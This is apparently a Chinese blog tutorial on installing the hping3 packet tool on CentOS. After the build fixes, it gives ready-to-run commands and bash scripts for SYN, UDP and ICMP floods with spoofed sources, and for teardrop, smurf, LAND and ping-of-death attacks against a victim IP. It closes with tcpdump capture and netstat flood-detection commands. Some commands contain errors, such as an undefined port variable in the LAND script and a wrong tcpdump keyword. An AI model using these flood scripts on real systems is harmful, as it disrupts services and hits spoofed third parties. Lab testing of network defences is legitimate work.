CentOS hping3安装和应用

CentOS 安装hping3工具

CentOS 安装 hping3 工具!

安装libpcap,libpcap-devel,tcl和tcl-devel

yum -y install libpcap libpcap-devel tcl tcl-devel
  • 如果找不到包,从光盘映像文件下找到这三个rpm包,手动安装 rpm -ivh filename.rpm(忽略版本)
rpm -ivh '/root/Desktop/tcl-8.5.7-6.el6.x86_64.rpm' 
rpm -ivh '/root/Desktop/tcl-devel-8.5.7-6.el6.x86_64.rpm'
rpm -ivh '/root/Desktop/libcap-devel-2.16-5.5.el6.x86_64.rpm' 
rpm -ivh '/root/Desktop/libpcap-1.4.0-1.20130826git2dbcaa1.el6.x86_64.rpm'

hping安装

//确定pcap-bpf.h是否存在/usr/include/下,如果不存在,跳过这步,在下面libpcap-1.1.1.tar.gz的解压包中复制过来
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h 

wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105

./configure
make
make install

出错后问题解决

configure 时候出错

  • error can not find the byte order for this architecture, fix bytesex.h
    原因:
    没有指定 x86_64 下的大小端对齐。
  • 解决方法:
    修改 bytesex.h,在 defined(i386) 后添加 defined(x86_64)。

修改前

#if 	defined(__i386__) \
	|| defined(__alpha__) \
	|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))

修改后

#if 	defined(__i386__) \
	|| defined(__x86_64__) \
	|| defined(__alpha__) \
	|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))

make找不到pcap.h

  • 下载libpcap-1.1.1.tar.gz
http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
tar zxvf libpcap-1.1.1.tar.gz
cd libpcap-1.1.1
./configure
  • 然后把libcap-1.9.1/pcap/中的复制到/usr/include/中或者把路径添加到环境变量
sudo cp pcap.h /usr/include/
export C_INCLUDE_PATH=&C_INCLUDE_PATH:头文件
source /etc/profile
echo $C_INCLUDE_PATH

找不到pcap.h

  • 添加软连接 /usr/include/net/bpf.h。
ln -sf /libpcap-1.1.1/pcap-bpf.h /usr/include/net/bpf.h

-ltcl -lm -lpthread

ln -sf libpcap.so.1.4.0 /usr/lib64/libpcap.so.1

hping3工具的使用

端口扫描

  • 通过 eth0 网口,发送 SYN 报文 到 192.168.1.12:8080
hping3 -I eth0 -S 192.168.1.12 -p 8080

syn flood

  • 默认协议: tcp; 默认源端口:随机; 默认源地址:攻击机的 ip 地址
通过 eth0 网口。发送 SYN 报文 到 192.168.1.12:8080。伪造源地址为192.168.1.222,时间间隔 1000us。
hping3 -I eth0 -S 192.168.1.12 -p 8080 -a 192.168.1.222 -i u1000

通过 eth0 网口。发送 SYN 报文 到 192.168.1.12:8080。伪造随机源地址,时间间隔 1000us。
hping3 -I eth0 -S 192.168.1.12 -p 8080 --rand-source -i u1000

通过 eth0 网口。发送 SYN 报文 到 192.168.1.12:8080。伪造随机源地址,洪水攻击。
洪水攻击,速率最快的攻击。不会显示数据 和 丢包的统计。
hping3 -I eth0 -S 192.168.1.12 -p 8080 --rand-source --flood

udp flood

发送 udp 报文 到 192.168.1.12:8080。
hping3 --udp 192.168.1.12 -p 8080

发送 udp 报文 到 192.168.1.12:8080。伪造随机源地址,洪水攻击。
hping3 --udp 192.168.1.12 -p 8080 --rand-source --flood

icmp flood

发送 icmp 报文 到 192.168.1.12。
hping3 --icmp 192.168.1.12

发送 icmp 报文 到 192.168.1.12。伪造随机源地址,洪水攻击。
hping3 --icmp 192.168.1.12 --rand-source --flood

dns flood

发送 udp 报文 到 192.168.1.12:8080。伪造随机源地址,洪水攻击。
hping3 --udp 192.168.1.12 -p 8080 --rand-source --flood

teardrop

  • Teardrop攻击是一种拒绝服务攻击。是基于病态分片数据包的攻击方法。
    其工作原理是向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息)。
    某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
#!/bin/bash

function teardrop ( )
{
	local victim_ip=$1
	local id_begin=$2
	local id_end=$3

	for((id=${id_begin};id<${id_end};id++))
	do
		hping3 --icmp ${victim_ip} --data 1000 --id ${id} --count 1 --morefrag
		hping3 --icmp ${victim_ip} --data 200 --id ${id} --count 1 --fragoff 400
	done
}

teardrop $*

SMURF攻击

  • Smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包,来淹没受害主机,
    最终导致该网络的所有主机都对此ICMP应答请求做出答复,导致网络阻塞。
    更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方崩溃。
#!/bin/bash

function smurf ( )
{
	local victim_ip=$1
	local broadcast_ip=$2
	hping3 --icmp ${broadcast_ip} -a ${victim_ip} --flood
}

smurf $*

XMAS TREE攻击

  • TCP所有标志位被设置为1的数据包被称为圣诞树数据包(XMas Tree packet),之所以叫这个名是因为这些标志位就像圣诞树上灯一样全部被点亮。
hping3 -SFRP 192.168.1.12

LAND攻击

  • LAND攻击方式采用了特别构造的TCP SYN数据包(通常用于开启一个新的连接),使目标机器开启一个源地址与目标地址均为自身IP地址的空连接,持续地自我应答,消耗系统资源直至崩溃。这种攻击方法与SYN洪泛攻击并不相同。
 #!/bin/bash

function land ( )
{
	local victim_ip=$1
	hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood
}

land $*

Ping of Death攻击

  • Ping of Death攻击原理是攻击者A向受害者B发送一些尺寸超大的ICMP(Ping命令使用的是ICMP报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)。
#!/bin/bash

function ping_of_death ()
{
	local victim_ip=$1
	local id=186
	local data_size=1450
	let icmp_size=${data_size}+8
	hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag 

	for i in $(seq 50)
	do
		let offset=${i}*${icmp_size}
		hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag --fragoff $offset
	done
}

ping_of_death $*

抓包验证

01、抓取所有网络包,并在terminal中显示抓取的结果,将包以十六进制的形式显示。
tcpdump 
02、抓取所有的网络包,并存到 result.cap 文件中。
tcpdump -w result.cap
03、抓取所有的经过eth0网卡的网络包,并存到 result.cap 文件中。
tcpdump -i eth0 -w result.cap
04、抓取源地址是192.168.1.100的包,并将结果保存到 result.cap 文件中。
tcpdump src host 192.168.1.100 -w result.cap 
05、抓取地址包含是192.168.1.100的包,并将结果保存到 result.cap 文件中。
tcpdump host 192.168.1.100 -w result.cap 
06、抓取目的地址包含是192.168.1.100的包,并将结果保存到 result.cap 文件中。
tcpdump dest host 192.168.1.100 -w result.cap 
07、抓取主机地址为 192.168.1.100 的数据包
tcpdump -i eth0 -vnn host 192.168.1.100
08、抓取包含192.168.1.0/24网段的数据包
tcpdump -i eth0 -vnn net 192.168.1.0/24
09、抓取网卡eth0上所有包含端口22的数据包
tcpdump -i eth0 -vnn port 22
10、抓取指定协议格式的数据包,协议格式可以是「udp,icmp,arp,ip」中的任何一种,例如以下命令:
tcpdump udp  -i eth0 -vnn
11、抓取经过 eth0 网卡的源 ip 是 192.168.1.100 数据包,src参数表示源。
tcpdump -i eth0 -vnn src host 192.168.1.100
12、抓取经过 eth0 网卡目的 ip 是 192.168.1.100 数据包,dst参数表示目的。
tcpdump -i eth0 -vnn dst host 192.168.1.100
13、抓取源端口是22的数据包
tcpdump -i eth0 -vnn src port 22
14、抓取源ip是 192.168.1.100 且目的ip端口是22的数据包
tcpdump -i eth0 -vnn src host 192.168.1.100 and dst port 22
15、抓取源ip是192.168.1.100或者包含端口是22的数据包
tcpdump -i eth0 -vnn src host 192.168.1.100 or port 22
16、抓取源ip是192.168.1.100且端口不是22的数据包
tcpdump -i eth0 -vnn src host 192.168.1.100 and not port 22
17、抓取源ip是192.168.1.100且目的端口是22,或源ip是192.168.1.102且目的端口是80的数据包。
tcpdump -i eth0 -vnn ( src host 192.168.1.100 and dst port 22 ) or ( src host 192.168.1.102 and dst port 80 )
18、把抓取的数据包记录存到/tmp/result文件中,当抓取100个数据包后就退出程序。
tcpdump –i eth0 -vnn -w /tmp/result -c 100
19、从/tmp/result记录中读取tcp协议的数据包
tcpdump -i eth0  tcp  -vnn -r /tmp/result
20、想要截获所有192.168.1.100 的主机收到的和发出的所有的数据包:
tcpdump host 192.168.1.100
21、如果想要获取主机192.168.1.100除了和主机192.168.1.101之外所有主机通信的ip包,使用命令:
tcpdump ip host 192.168.1.100 and ! 192.168.1.101
22、如果想要获取主机 192.168.1.100 接收或发出的 telnet 包,使用如下命令:
tcpdump tcp port 23 host192.168.1.100

shell检测攻击数量

SYN Flood攻击检测

netstat -nt |grep SYN_RECV |awk '/^tcp/{sub(/:.*/,"",$4);sub(/:.*/,"",$5);if($4!=$5){print $4,$5}}' |wc -l

UDP Flood攻击检测

netstat -nua |wc -l

Lood攻击检测

netstat -nt |grep SYN_RECV |awk '/^tcp/{sub(/:.*/,"",$4);sub(/:.*/,"",$5);if($4==$5){print $4,$5}}' |wc -l

ICMP Flood攻击检测

netstat -s | grep "ICMP messages received" | awk '{print $1}'
  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值